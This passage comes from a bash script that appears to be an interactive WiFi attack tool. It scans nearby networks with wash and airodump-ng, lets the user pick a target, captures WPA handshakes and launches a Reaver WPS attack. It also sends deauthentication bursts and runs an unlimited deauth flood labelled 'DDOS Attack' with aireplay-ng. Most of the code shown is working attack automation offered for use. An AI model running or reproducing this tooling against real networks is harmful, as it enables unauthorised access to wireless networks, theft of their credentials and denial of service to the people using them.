xterm -hold -title "WPS SCAN" -e wash -i $Mon -o WashScan.csv &
sleep 30
killall xterm
fi
}
#~~~~ OUTSCAN ~~~~
function OUTSCAN {
Place="OUTSCAN"
LN=$(echo "$COLUMNS")
BAR=`echo -e "$BARR" |cut -c-$LN`
if [ "$Selection" -eq "2" ] || [ "$Selection" -eq "3" ]; then
clear
LOGO
CSV="DUMP-01.csv"
WIFI=`wc -l $TMP/$CSV | awk '{print $1}'`
head -n $CIBLE $TMP/$CSV &> $TMP/dump-02.csv
tail -n +$CIBLE $TMP/$CSV &> $TMP/target.csv
echo -e "\n\t\t\t~ WIFI LIST ~\n\n ID MAC CHAN SECU PWR ESSID\n$BAR"
i=0
while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do
longueur=${#MAC}
PRIVACY=$(echo $PRIVACY| tr -d "^ ")
PRIVACY=${PRIVACY:0:4}
if [ $longueur -ge 17 ]; then
i=$(($i +1))
POWER=`expr $POWER + 100`
TARGET=`cat $TMP/target.csv | grep $MAC`
if [ "$TARGET" != "" ]; then
TARGET="*"
echo -e " $R[$Y$i$R]$G$TARGET\t$R$MAC\t$R $CHANNEL\t$G $PRIVACY\t $R$POWER%\t$R $ESSID$EC"
else
echo -e " $R[$Y$i$R]$W$TARGET\t$Y$MAC\t$G $CHANNEL\t$GR $PRIVACY\t $Y$POWER%\t$G $ESSID$EC"
fi
aidlength=$IDLENGTH
assid[$i]=$ESSID
achannel[$i]=$CHANNEL
amac[$i]=$MAC
aprivacy[$i]=$PRIVACY
aspeed[$i]=$SPEED
fi
done < $TMP/$CSV
echo -e "\n$W [${R}r,R$W]$Y Re-scan\n$W [${R}x,X$W]$Y Main menu"
echo -n -e " $G$HTARGET:$W "
read choice
if [ "$choice" = "r" ] || [ "$choice" = "R" ]; then
SCANNER
OUTSCAN
elif [ "$choice" = "x" ] || [ "$choice" = "X" ]; then
KILLPROC
NETWORKRESTOR
Crunchmenu
fi
idlength=${aidlength[$choice]}
ssid=${assid[$choice]}
channel=$(echo ${achannel[$choice]}|tr -d [:space:])
mac=${amac[$choice]}
privacy=${aprivacy[$choice]}
speed=${aspeed[$choice]}
Host_IDL=$idlength
Host_SPEED=$speed
Host_ENC=$privacy
Host_MAC=$mac
Host_CHAN=$channel
acouper=${#ssid}
fin=$(($acouper-idlength))
Host_SSID=${ssid:1:fin}
Host_SSID2=`echo $Host_SSID | sed 's/ //g' | sed 's/\[//g;s/\]//g' | sed 's/\://g;s/\://g' | sed 's/\*//g;s/\*//g' | sed 's/(//g' | sed 's/)//g'`
fi
if [ "$Selection" -eq "4" ]; then
clear
LOGO
sed '1d; 2d' WashScan.csv > Wash2.csv
cat Wash2.csv |sed 's/ / /g' |sed 's/ / /g' |sed 's/ / /g' > Wash3.csv
CSV="Wash3.csv"
WIFI=`wc -l $CSV | awk '{print $1}'`
head -n $CIBLE $CSV &> dump-02.csv
tail -n +$CIBLE $CSV &> target.csv
echo -e "\n\t\t\t~ WIFI LIST ~\n\n$Y ID $W BSSID CHAN RSSI VER LOCK ESSID\n$BAR"
i=0
while IFS=, read BSSID Channel RSSI WPSVersion WPSLocked ESSID ;do
longueur=${#BSSID}
WPSVersion=$(echo $WPSVersion| tr -d "^ ")
WPSVersion=${WPSVersion:0:4}
if [ $longueur -ge 17 ]; then
i=$(($i +1))
if [ "$TARGET" != "" ]; then
TARGET="*"
echo -e "${R}[${Y}$i${R}] ${W}$BSSID $Channel $Version $WPSLocked ${Y}$ESSID"
else
echo -e "${R}[${Y}$i${R}] ${W}$BSSID ${GR}$Channel $Version $WPSLocked ${G}$ESSID"
fi
assid[$i]=$ESSID
achannel[$i]=$Channel
amac[$i]=$BSSID
aprivacy[$i]=$WPSLocked
fi
done < $CSV
echo -e "\n${W} [${R}r,R$W]${Y} Re-scan\n${W} [${R}x,X${W}]${Y} Main menu"
echo -n -e " ${G}$HTARGET:${W} "
read choice
if [ "$choice" = "r" ] || [ "$choice" = "R" ]; then
SCANNER
OUTSCAN
elif [ "$choice" = "x" ] || [ "$choice" = "X" ]; then
KILLPROC
NETWORKRESTOR
Crunchmenu
fi
TARGET=`sed -n ${choice}p Wash3.csv |cut -f2 -d ] |awk '{print $1}'`
Chnl=`sed -n ${choice}p Wash3.csv |cut -f2 -d ] |awk '{print $2}'`
ReaverAttack
fi
}
#~~~~ HANDSHAK ~~~~
function HANDSHAK {
Place="HANDSHAK"
xterm -hold -title "SSID $Host_SSID" $TOPLEFTBIG2 -e "airodump-ng -w $TMP/OUTPUT -c$Host_CHAN --essid $Host_SSID --bssid $Host_MAC $Mon" &
}
#~~~~ Function VALID ~~~~
VALID() {
Place="VALID"
clear
LOGO
echo -e "\n Handshake \n ${W}[${G}1${W}] $YES\n [${Y}2${W}] $NO \n [${Y}9${W}] Rescan \n [${R}0${W}]${R} $Exit${EC}\n"
read -p " $Choice: " Selection
case $Selection in
1) KILLPROC; SETCRACK;;
2) AirPlay;;
9) KILLPROC; SCANNER; OUTSCAN; HANDSHAK; sleep 4; AirPlay; VALID;;
0) NETWORKRESTOR; KILLPROC; EXITMENU;;
*) echo -e "${W} [${R} $error${W} ]"; sleep 3; VALID;;
esac
}
#~~~~ Function DEAUTH ~~~~
function AirPlay {
Place="AirPlay"
clear
LOGO
echo -e " [$G!$W]$GR...$W""Deauth $Host_SSID\n"
xterm -title "Deauth" -fg "#d1450e" -e aireplay-ng --deauth 10 -a $Host_MAC $Mon --ignore-negative-one &&
VALID
}
#~~~~ Function DDOS ~~~~
function DDOS {
xterm -title "DDOS Attack" -fg "#FF0000" -e aireplay-ng --deauth 0 -a $Host_MAC $Mon --ignore-negative-one &
Kill_Ddos
}
#~~~~ KILL DDOS ~~~~
function Kill_Ddos {
Place="Kill_Ddos"
clear
LOGO
echo -e " Kill Attack \n ${W}[${G}1${W}] $YES \n [${Y}9${W}] Rescan \n [${R}0${W}]${R} $Exit${EC}\n"
read -p " $Choice: " Selection
case $Selection in
1) KILLPROC; NETWORKRESTOR; Crunchmenu;;
9) KILLPROC; SCANNER; OUTSCAN; sleep 2; DDOS;;
0) NETWORKRESTOR; EXITMENU;;
*) echo -e "${W} [${R} $error${W} ]"; sleep 3; VALID;;
esac
}
#~~~~ KILL Process ~~~~